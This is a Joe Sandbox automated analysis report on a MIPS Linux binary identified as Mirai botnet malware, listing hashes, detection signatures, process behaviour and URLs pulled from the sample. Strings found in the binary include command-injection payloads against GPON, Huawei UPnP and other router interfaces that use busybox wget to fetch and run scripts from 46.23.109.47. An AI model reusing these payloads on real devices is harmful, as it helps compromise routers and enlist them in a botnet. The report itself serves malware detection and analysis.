Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
4wiwmAupak

Overview

General Information

Sample Name:4wiwmAupak
Analysis ID:679619
MD5:234f833a57b2626dbd7992faf3c2a149
SHA1:81915b94e27f542c1f8331a1f6b3317d82624805
SHA256:4738edac99f86b857032b8c7fb640b6fe5cf4109ae0c3a6e56deb84b0a76d936
Tags:32elfmipsmirai
Infos:

Detection

Mirai
Score:64
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Yara detected Mirai
Multi AV Scanner detection for submitted file
Yara signature match
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)
Enumerates processes within the "proc" file system
Sample listens on a socket
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.
Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox Version:35.0.0 Citrine
Analysis ID:679619
Start date and time: 06/08/202206:42:392022-08-06 06:42:39 +02:00
Joe Sandbox Product:CloudBasic
Overall analysis duration:0h 5m 16s
Hypervisor based Inspection enabled:false
Report type:light
Sample file name:4wiwmAupak
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Detection:MAL
Classification:mal64.troj.lin@0/0@0/0

Warnings

  • VT rate limit hit for: http://46.23.109.47/Cloud/Cloud.mpsl;chmod

Runtime Messages

Command:/tmp/4wiwmAupak
PID:6233
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:
Connected To CNC
Standard Error:

Process Tree

  • system is lnxubuntu20
  • cleanup

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
4wiwmAupakSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
  • 0x223c4:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x22434:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x224a4:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x22514:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x22584:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x227f4:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x22848:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x2289c:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x228f0:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x22944:$xo1: oMXKNNC\x0D\x17\x0C\x12
4wiwmAupakJoeSecurity_Mirai_8Yara detected MiraiJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    6233.1.00007fd554464000.00007fd554466000.rw-.sdmpSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
    • 0x1584:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x15f8:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x166c:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x16e0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1754:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x19d4:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1a2c:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1a84:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1adc:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1b34:$xo1: oMXKNNC\x0D\x17\x0C\x12
    6236.1.00007fd554464000.00007fd554466000.rw-.sdmpSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
    • 0x1584:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x15f8:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x166c:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x16e0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1754:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x19d4:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1a2c:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1a84:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1adc:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1b34:$xo1: oMXKNNC\x0D\x17\x0C\x12
    6233.1.00007fd554400000.00007fd554424000.r-x.sdmpSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
    • 0x223c4:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x22434:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x224a4:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x22514:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x22584:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x227f4:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x22848:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x2289c:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x228f0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x22944:$xo1: oMXKNNC\x0D\x17\x0C\x12
    6233.1.00007fd554400000.00007fd554424000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      6236.1.00007fd554400000.00007fd554424000.r-x.sdmpSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
      • 0x223c4:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x22434:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x224a4:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x22514:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x22584:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x227f4:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x22848:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x2289c:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x228f0:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x22944:$xo1: oMXKNNC\x0D\x17\x0C\x12
      Click to see the 1 entries

      Snort Signatures

      ⊘No Snort rule has matched

      Joe Sandbox Signatures

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Antivirus / Scanner detection for submitted sample
      Source: 4wiwmAupakAvira: detected
      Multi AV Scanner detection for submitted file
      Source: 4wiwmAupakVirustotal: Detection: 61%Perma Link
      Source: 4wiwmAupakMetadefender: Detection: 31%Perma Link
      Source: 4wiwmAupakReversingLabs: Detection: 63%
      Source: /tmp/4wiwmAupak (PID: 6233)Socket: 127.0.0.1::44455
      Source: 4wiwmAupakString found in binary or memory: http://0.0.0.0/Cloud/Cloud.x86
      Source: 4wiwmAupakString found in binary or memory: http://46.23.109.47/Cloud/Cloud.mips;
      Source: 4wiwmAupakString found in binary or memory: http://46.23.109.47/Cloud/Cloud.mpsl;chmod
      Source: 4wiwmAupakString found in binary or memory: http://46.23.109.47/Cloud/Cloud.x86
      Source: 4wiwmAupakString found in binary or memory: http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114
      Source: 4wiwmAupakString found in binary or memory: http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$
      Source: 4wiwmAupakString found in binary or memory: http://46.23.109.47/Cloud/Gpon.sh
      Source: 4wiwmAupakString found in binary or memory: http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VI
      Source: 4wiwmAupakString found in binary or memory: http://purenetworks.com/HNAP1/
      Source: 4wiwmAupakString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
      Source: 4wiwmAupakString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
      Source: 4wiwmAupak, type: SAMPLEMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
      Source: 6233.1.00007fd554464000.00007fd554466000.rw-.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
      Source: 6236.1.00007fd554464000.00007fd554466000.rw-.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
      Source: 6233.1.00007fd554400000.00007fd554424000.r-x.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
      Source: 6236.1.00007fd554400000.00007fd554424000.r-x.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: Initial sampleString containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+vaicalon;chmod+777+*;sh+vaicalon`&ipv=0
      Source: Initial sampleString containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+anngu;chmod+777+*;sh+anngu`&ipv=0
      Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://46.23.109.47/Cloud/Cloud.mips; chmod 777 Cloud.mips; ./Cloud.mips Cloud.Huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: Initial sampleString containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+anngu;chmod+777+*;sh+anngu`&ipv=0POST /HNAP1/ HTTP/1.0
      Source: classification engineClassification label: mal64.troj.lin@0/0@0/0
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1582/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/2033/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/2275/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/3088/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/6191/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/6192/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1612/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1579/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1699/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1335/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1698/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/2028/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1334/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1576/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/2302/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/3236/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/2025/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/2146/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/910/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/912/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/517/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/759/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/2307/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/918/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/6241/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/6243/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/6242/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/4462/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/6245/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/6244/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1594/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/2285/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/2281/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1349/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1623/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/761/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1622/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/884/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1983/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/2038/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1344/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1465/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1586/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1463/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/2156/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/800/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/6238/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/801/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1629/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1627/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1900/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/6252/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/4470/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/6251/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/6253/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/6258/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/3021/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/491/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/2294/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/2050/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/6250/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1877/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/772/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1633/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1599/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1632/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/774/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1477/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/654/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/896/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1476/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1872/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/2048/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/655/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1475/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/2289/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/656/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/777/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/657/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/658/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/4467/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/4468/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/4469/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/419/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/936/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1639/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/4503/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1638/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/2208/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/2180/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/6262/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/6265/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/6266/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1809/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/6268/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1494/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1890/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/2063/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/2062/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1888/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1886/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/420/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1489/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/785/exe
      Source: /tmp/4wiwmAupak (PID: 6235)File opened: /proc/1642/exe
      Source: /tmp/4wiwmAupak (PID: 6233)Queries kernel information via 'uname':
      Source: 4wiwmAupak, 6233.1.0000562b48a4a000.0000562b48ad1000.rw-.sdmp, 4wiwmAupak, 6236.1.0000562b48a4a000.0000562b48ad1000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/mips
      Source: 4wiwmAupak, 6233.1.00007ffc33963000.00007ffc33984000.rw-.sdmp, 4wiwmAupak, 6236.1.00007ffc33963000.00007ffc33984000.rw-.sdmpBinary or memory string: /usr/bin/qemu-mips
      Source: 4wiwmAupak, 6233.1.0000562b48a4a000.0000562b48ad1000.rw-.sdmp, 4wiwmAupak, 6236.1.0000562b48a4a000.0000562b48ad1000.rw-.sdmpBinary or memory string: H+V!/etc/qemu-binfmt/mips
      Source: 4wiwmAupak, 6233.1.00007ffc33963000.00007ffc33984000.rw-.sdmp, 4wiwmAupak, 6236.1.00007ffc33963000.00007ffc33984000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-mips/tmp/4wiwmAupakSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/4wiwmAupak

      Stealing of Sensitive Information

      barindex
      Yara detected Mirai
      Source: Yara matchFile source: 4wiwmAupak, type: SAMPLE
      Source: Yara matchFile source: 6233.1.00007fd554400000.00007fd554424000.r-x.sdmp, type: MEMORY
      Source: Yara matchFile source: 6236.1.00007fd554400000.00007fd554424000.r-x.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Yara detected Mirai
      Source: Yara matchFile source: 4wiwmAupak, type: SAMPLE
      Source: Yara matchFile source: 6233.1.00007fd554400000.00007fd554424000.r-x.sdmp, type: MEMORY
      Source: Yara matchFile source: 6236.1.00007fd554400000.00007fd554424000.r-x.sdmp, type: MEMORY

      Mitre Att&ck Matrix

      Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
      Valid AccountsWindows Management InstrumentationPath InterceptionPath InterceptionDirect Volume Access1
      OS Credential Dumping      		11
      Security Software Discovery      		Remote ServicesData from Local SystemExfiltration Over Other Network MediumData ObfuscationEavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition

      Malware Configuration

      ⊘No configs have been found

      Behavior Graph

      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet
      behaviorgraph top1 signatures2 2 Behavior Graph ID: 679619 Sample: 4wiwmAupak Startdate: 06/08/2022 Architecture: LINUX Score: 64 23 Antivirus / Scanner detection for submitted sample 2->23 25 Multi AV Scanner detection for submitted file 2->25 27 Yara detected Mirai 2->27 7 4wiwmAupak 2->7         started        process3 process4 9 4wiwmAupak 7->9         started        11 4wiwmAupak 7->11         started        13 4wiwmAupak 7->13         started        process5 15 4wiwmAupak 9->15         started        17 4wiwmAupak 9->17         started        19 4wiwmAupak 9->19         started        21 11 other processes 9->21

      Antivirus, Machine Learning and Genetic Malware Detection

      Initial Sample

      SourceDetectionScannerLabelLink
      4wiwmAupak61%VirustotalBrowse
      4wiwmAupak31%MetadefenderBrowse
      4wiwmAupak63%ReversingLabsLinux.Trojan.Mirai
      4wiwmAupak100%AviraLINUX/Mirai.bonb

      Dropped Files

      ⊘No Antivirus matches

      Domains

      ⊘No Antivirus matches

      URLs

      SourceDetectionScannerLabelLink
      http://46.23.109.47/Cloud/Gpon.sh19%VirustotalBrowse
      http://46.23.109.47/Cloud/Gpon.sh100%Avira URL Cloudmalware
      http://46.23.109.47/Cloud/Cloud.x8618%VirustotalBrowse
      http://46.23.109.47/Cloud/Cloud.x86100%Avira URL Cloudmalware
      http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114100%Avira URL Cloudmalware
      http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VI100%Avira URL Cloudmalware
      http://46.23.109.47/Cloud/Cloud.mpsl;chmod100%Avira URL Cloudmalware
      http://46.23.109.47/Cloud/Cloud.mips;100%Avira URL Cloudmalware
      http://purenetworks.com/HNAP1/0%URL Reputationsafe
      http://0.0.0.0/Cloud/Cloud.x860%Avira URL Cloudsafe
      http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$100%Avira URL Cloudmalware

      Domains and IPs

      Contacted Domains

      ⊘No contacted domains info

      URLs from Memory and Binaries

      NameSourceMaliciousAntivirus DetectionReputation
      http://46.23.109.47/Cloud/Gpon.sh4wiwmAupaktrue
      • 19%, Virustotal, Browse
      • Avira URL Cloud: malware
      		unknown
      http://46.23.109.47/Cloud/Cloud.x864wiwmAupaktrue
      • 18%, Virustotal, Browse
      • Avira URL Cloud: malware
      		unknown
      http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=10392301144wiwmAupaktrue
      • Avira URL Cloud: malware
      		unknown
      http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VI4wiwmAupaktrue
      • Avira URL Cloud: malware
      		unknown
      http://schemas.xmlsoap.org/soap/encoding/4wiwmAupakfalse
        		high
        http://46.23.109.47/Cloud/Cloud.mpsl;chmod4wiwmAupaktrue
        • Avira URL Cloud: malware
        		unknown
        http://46.23.109.47/Cloud/Cloud.mips;4wiwmAupaktrue
        • Avira URL Cloud: malware
        		unknown
        http://purenetworks.com/HNAP1/4wiwmAupakfalse
        • URL Reputation: safe
        		unknown
        http://0.0.0.0/Cloud/Cloud.x864wiwmAupakfalse
        • Avira URL Cloud: safe
        		unknown
        http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$4wiwmAupaktrue
        • Avira URL Cloud: malware
        		unknown
        http://schemas.xmlsoap.org/soap/envelope/4wiwmAupakfalse
          		high

          World Map of Contacted IPs

          ⊘No contacted IP infos

          Joe Sandbox View / Context

          IPs

          ⊘No context

          Domains

          ⊘No context

          ASNs

          ⊘No context

          JA3 Fingerprints

          ⊘No context

          Dropped Files

          ⊘No context

          Created / dropped Files

          ⊘No created / dropped files found

          Static File Info

          General

          File type:ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
          Entropy (8bit):5.710060818234627
          TrID:
          • ELF Executable and Linkable format (generic) (4004/1) 100.00%
          File name:4wiwmAupak
          File size:147164
          MD5:234f833a57b2626dbd7992faf3c2a149
          SHA1:81915b94e27f542c1f8331a1f6b3317d82624805
          SHA256:4738edac99f86b857032b8c7fb640b6fe5cf4109ae0c3a6e56deb84b0a76d936
          SHA512:73d07c52a01e8beeab7d78443a5102e9f4eac12f54e93c5bef4a021c235f37e03affdaaddc236d1d9a9bc79ca6a3bb24425cddb2b8fc3c93e87575ee0024a91d
          SSDEEP:3072:4rgHjxhR7/ZbV0yb6bZZeySx0eOn6WoexbY1wAhMwwRaeL:e0FXrnszehxWoubY1wwwl
          TLSH:D5E3B50D3E219F7DF7ACC23447B78A255258339A32E0D5C5D15CE9016EA028E786FF9A
          File Content Preview:.ELF.....................@.`...4..<......4. ...(.............@...@....3...3...............3..F3..F3....t...4........dt.Q............................<...'......!'.......................<...'......!... ....'9... ......................<...'......!........'9.

          Static ELF Info

          ELF header

          Class:ELF32
          Data:2's complement, big endian
          Version:1 (current)
          Machine:MIPS R3000
          Version Number:0x1
          Type:EXEC (Executable file)
          OS/ABI:UNIX - System V
          ABI Version:0
          Entry Point Address:0x400260
          Flags:0x1007
          ELF Header Size:52
          Program Header Offset:52
          Program Header Size:32
          Number of Program Headers:3
          Section Header Offset:146604
          Section Header Size:40
          Number of Section Headers:14
          Header String Table Index:13

          Sections

          NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
          NULL0x00x00x00x00x0000
          .initPROGBITS0x4000940x940x8c0x00x6AX004
          .textPROGBITS0x4001200x1200x204500x00x6AX0016
          .finiPROGBITS0x4205700x205700x5c0x00x6AX004
          .rodataPROGBITS0x4205d00x205d00x2e000x00x2A0016
          .ctorsPROGBITS0x4633d40x233d40x80x00x3WA004
          .dtorsPROGBITS0x4633dc0x233dc0x80x00x3WA004
          .data.rel.roPROGBITS0x4633e80x233e80x100x00x3WA004
          .dataPROGBITS0x4634000x234000x2c00x00x3WA0016
          .gotPROGBITS0x4636c00x236c00x5880x40x10000003WAp0016
          .sbssNOBITS0x463c480x23c480x240x00x10000003WAp004
          .bssNOBITS0x463c700x23c480xa980x00x3WA0016
          .mdebug.abi32PROGBITS0x84c0x23c480x00x00x0001
          .shstrtabSTRTAB0x00x23c480x640x00x0001

          Program Segments

